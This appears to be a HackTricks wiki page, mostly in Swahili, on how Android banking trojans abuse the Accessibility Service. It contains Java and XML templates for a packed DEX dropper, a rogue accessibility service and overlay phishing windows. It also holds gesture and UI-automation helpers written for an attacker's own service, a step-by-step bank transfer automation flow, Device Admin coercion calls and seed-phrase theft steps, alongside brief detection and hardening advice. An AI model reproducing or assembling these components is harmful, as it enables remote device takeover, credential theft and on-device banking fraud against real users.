Matumizi Mabaya ya Android Accessibility Service

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Muhtasari

AccessibilityService iliumbwa kusaidia watumiaji wenye ulemavu kuingiliana na vifaa vya Android. Kwa bahati mbaya, API zile zile powerful automation APIs (global navigation, text input, gesture dispatch, overlay windows…) zinaweza kutumiwa na malware kupata complete remote control ya handset without root privileges.

Modern Android banking Trojans na Remote-Access-Trojans (RATs) such as PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda na wengi wengine zinafuata muundo huo huo:

  1. Social-engineer mhanga ili aamilishe huduma ya rogue accessibility (uruhusa BIND_ACCESSIBILITY_SERVICE unachukuliwa kuwa “high-risk” na inahitaji hatua wazi ya mtumiaji).
  2. Kutumia huduma ili
  • kushika kila tukio la UI na maandishi yanayoonekana kwenye skrini,
  • kuingiza ishara bandia (dispatchGesture) na vitendo vya global (performGlobalAction) ili ku-automate kazi yoyote msanidi anayotaka,
  • kuchora overlays za skrini nzima juu ya apps halali kwa kutumia aina ya dirisha TYPE_ACCESSIBILITY_OVERLAY (hakuna SYSTEM_ALERT_WINDOW prompt!),
  • kwa kimya kukubali ruhusa za ziada za runtime kwa kubofya kwenye madialog ya mfumo kwa niaba ya mhanga.
  1. Kutolea data au kutekeleza On-Device-Fraud (ODF) kwa wakati halisi huku mtumiaji akiangalia skrini inayojionyesha kawaida.

Packed Accessibility droppers

ClayRat v3.0.8 inaunganisha Accessibility RAT yake na payload ya hatua iliyofichwa chini ya assets/. Wakati wa runtime APK mwenyeji:

  1. Inatiririsha blob iliyosimbwa kutoka assets/*.dat.
  2. Inai-decrypt kwa kutumia key + IV ya AES/CBC iliyowekwa hard-coded ndani ya loader ya Java/Kotlin.
  3. Inaandika plaintext DEX kwenye directory binafsi ya app na kuiload kupitia DexClassLoader, ikifichua madarasa halisi ya spyware tu katika memory.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

Muundo huu wa packing pattern (ATT&CK T1406.002) unaweka moduli ya Accessibility nje ya diski hadi dropper ianze kutekelezwa, ukizuia static signature scans na Play Protect hadi mtumiaji atakapokuwa tayari ameipa dangerous permissions.


Kuomba ruhusa

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

XML inayokuja pamoja inaeleza jinsi dirisha la mazungumzo la uwongo litakavyoonekana:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Vipengele vya msingi vya otomatiki ya UI ya mbali

Muundo wa msingi wa otomatiki wa Accessibility service ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

Kwa kutumia APIs hizi mbili tu mshambuliaji anaweza:
* Kufungua skrini, kufungua app ya benki, kuvinjari mti wa UI yake na kuwasilisha fomu ya uhamisho.
* Kubali kila dirisha la ruhusa linalojitokeza.
* Sakinisha au sasisha APK za ziada kupitia Play Store intent.

---

## Mifumo ya matumizi mabaya

### 1. Overlay Phishing (Credential Harvesting)
`WebView` ya uwazi au isiyo wazi inaongezwa kwenye msimamizi wa dirisha:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

The victim types credentials into the fake form while the background app receives the same gestures – no suspicious “draw over other apps” prompt is ever shown.

Mfano wa kina: sehemu ya Accessibility Overlay Phishing ndani ya ukurasa wa Tapjacking.

ClayRat exposes this capability with the show_block_screen / hide_block_screen commands that download overlay templates from the C2. Operators can switch layouts on the fly to:

  • Funika kwa giza paneli ili muathiriwa afikirie kifaa kimezimwa au kimeganda wakati vitendo vya moja kwa moja vinavunywa Play Protect au kutoa ruhusa zaidi.
  • Onyesha paneli bandia za system update / battery optimization zinazotoa sababu kwa nini kifaa kina “busy” wakati automatisering ya background inaendelea.
  • Onyesha overlay ya interactive PIN pad inayolingana na skrini ya kufunga ya mfumo—malware huchukua kila namba na ku-stream kwa operator mara tu kodu ya tarakimu 4 inapoingizwa.

Because TYPE_ACCESSIBILITY_OVERLAY windows never raise the SYSTEM_ALERT_WINDOW permission prompt, the victim only sees the decoy UI while the RAT keeps interacting with the real apps underneath.

2. On-Device Fraud automation

Malware families such as PlayPraetor maintain a persistent WebSocket channel where the operator can issue high-level commands (init, update, alert_arr, report_list, …). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device.

3. Screen streaming & monitoring

ClayRat upgrades the usual MediaProjection trick into a remote desktop stack:

  1. turbo_screen triggers the MediaProjection consent dialog; the Accessibility service clicks “Start now” so the victim never intervenes.
  2. With the resulting MediaProjection token it creates a VirtualDisplay backed by an ImageReader, keeps a ForegroundService alive, and drains frames on worker threads.
  3. Frames are JPEG/PNG encoded according to the operator-supplied set_quality parameter (defaults to 60 when missing) and shipped over an HTTP→WebSocket upgrade advertising the custom ClayRemoteDesktop user-agent.
  4. start_desktop / stop_desktop manage the capture threads while screen_tap, screen_swipe, input_text, press_home, press_back and press_recents replay gestures against the live framebuffer.

The result is a VNC-like feed delivered entirely through sanctioned APIs—no root or kernel exploits—yet it hands the attacker live situational awareness with millisecond latency.

4. Lock-screen credential theft & auto-unlock

ClayRat subscribes to TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED events emitted by com.android.systemui (Keyguard). It reconstructs whatever guard is active:

  • PIN – watches keypad button presses until the locker reports completion.
  • Password – concatenates strings seen in the focused password field for each AccessibilityEvent.
  • Pattern – records the ordered node indices inferred from gesture coordinates across the 3×3 grid.

Secrets plus metadata (lock type + timestamp) are serialized into SharedPreferences under lock_password_storage. When the operator pushes auto_unlock, the service wakes the device with unlock_device / screen_on, replays the stored digits or gestures through dispatchGesture, and silently bypasses the keyguard so subsequent ODF workflows can continue.

5. Notification phishing & harvesting

A companion Notification Listener turns the shade into a phishing surface:

  • get_push_notifications dumps every currently visible notification, including OTP / MFA messages.
  • The notifications command toggles a notifications_enabled flag so each future onNotificationPosted() payload is streamed to the C2 in real time.
  • send_push_notification lets operators craft fake, interactive notifications that impersonate banking or chat apps; any text the victim submits is parsed as credentials and exfiltrated immediately.

Because Accessibility can open/dismiss the notification shade programmatically, this method harvests secrets without touching the targeted apps.

6. Telephony & SMS command channel

After coercing the user into setting the RAT as the default SMS app, the following commands provide complete modem control:

  • send_sms and retransmishion send arbitrary or replayed messages to attacker-controlled numbers.
  • messsms iterates over the entire contacts database to spam phishing links for worm-like propagation.
  • make_call initiates voice calls that support social-engineering workflows.
  • get_sms_list / get_sms and get_call_log / get_calls dump inboxes and call history so MFA codes or call metadata can be abused instantly.

Combined with Accessibility-driven UI navigation, ClayRat can receive an OTP via notification/SMS and immediately input it inside the target banking or enterprise app.

7. Discovery, collection & proxying

Additional ClayRat commands map the environment and keep C2 resilient:

  • get_apps / get_apps_list enumerate installed packages (ATT&CK T1418).
  • get_device_info reports model, OS version and battery state (T1426).
  • get_cam / get_camera capture front-camera stills, while get_keylogger_data serializes lock PINs plus passwords, view descriptions and hints scraped from sensitive fields.
  • get_proxy_data fetches a proxy WebSocket URL, appends the unique device ID and spins a job that tunnels HTTP/HTTPS over the same bidirectional channel (T1481.002 / T1646).

PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – iterate over a hard-coded list until one domain answers POST /app/searchPackageName with the active C2.
  2. WebSocket (port 8282) – bidirectional JSON commands:
  • update – push new conf/APKs
  • alert_arr – configure overlay templates
  • report_list – send list of targeted package names
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – live screen/video streaming.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

The AccessibilityService is the local engine that turns those cloud commands into physical interactions.


Detecting malicious accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – look for apps that are not from Google Play.
  • MDM / EMM solutions can enforce ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) to block sideloaded services.
  • Analyse running services:
adb shell dumpsys accessibility | grep "Accessibility Service"

Hardening recommendations for app developers

  • Mark sensitive views with android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combine setFilterTouchesWhenObscured(true) with FLAG_SECURE to prevent tap/overlay hijacking.
  • Detect overlays by polling WindowManager.getDefaultDisplay().getFlags() or the ViewRootImpl API.
  • Refuse to operate when Settings.canDrawOverlays() or a non-trusted Accessibility service is active.

ATS automation cheat-sheet (Accessibility-driven)

Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:

Helper methods for ATS automation ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

Mfano wa mtiririko (Czech → majina ya Kiingereza):

  • “Nová platba” (Malipo mapya) → bonyeza
  • “Zadat platbu” (Ingiza malipo) → bonyeza
  • “Nový příjemce” (Mpokeaji mpya) → bonyeza
  • “Domácí číslo účtu” (Nambari ya akaunti ya ndani) → zingatia na ACTION_SET_TEXT
  • “Další” (Ifuatayo) → bonyeza → … “Zaplatit” (Lipa) → bonyeza → weka PIN

Fallback: kuratibu zilizo hard-coded kwa kutumia dispatchGesture wakati utafutaji wa maandishi unashindwa kutokana na widgets maalum.

Pia imeonekana: hatua za awali za check_limit na limit kwa kuvinjari UI ya limits na kuongeza mipaka ya kila siku kabla ya kuhamisha.

Text-based pseudo-screen streaming

Kwa udhibiti wa mbali wenye latency ndogo, badala ya utiririshaji wa video kamili, toa uwakilishi wa maandishi wa mti wa UI wa sasa na uutume kwa C2 mara kwa mara.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Huu ndio msingi wa amri kama txt_screen (ya mara moja) na screen_live (inayoendelea).

Vifaa vya kulazimisha Device Admin

Mara tu Device Admin receiver itakapowashwa, miito hii inaongeza fursa za kunasa nywila na kudumisha udhibiti:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Note: upatikanaji halisi wa sera hizi hutofautiana kulingana na toleo la Android na OEM; hakiki device policy role (admin vs owner) wakati wa upimaji.

Crypto wallet seed-phrase extraction patterns

Mifumo iliyobainika kwa MetaMask, Trust Wallet, Blockchain.com na Phantom:

  • Fungua kwa PIN iliyoribwa (iliyorekodiwa kupitia overlay/Accessibility) au password ya wallet iliyotolewa.
  • Elekea: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Kusanya phrase kupitia keylogging ya text nodes, secure-screen bypass, au screenshot OCR wakati maandishi yamefichwa.
  • Saidia locales nyingi (EN/RU/CZ/SK) ili kutuliza selectors – pendelea viewIdResourceName inapopatikana, vinginevyo tumia multilingual text matching.

NFC-relay orchestration

Accessibility/RAT modules zinaweza kusakinisha na kuanzisha app ya NFC-relay maalum (mfano, NFSkate) kama hatua ya tatu na hata kutia overlay guide ili kumuingiza mwathiriwa kupitia hatua za card-present relay.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks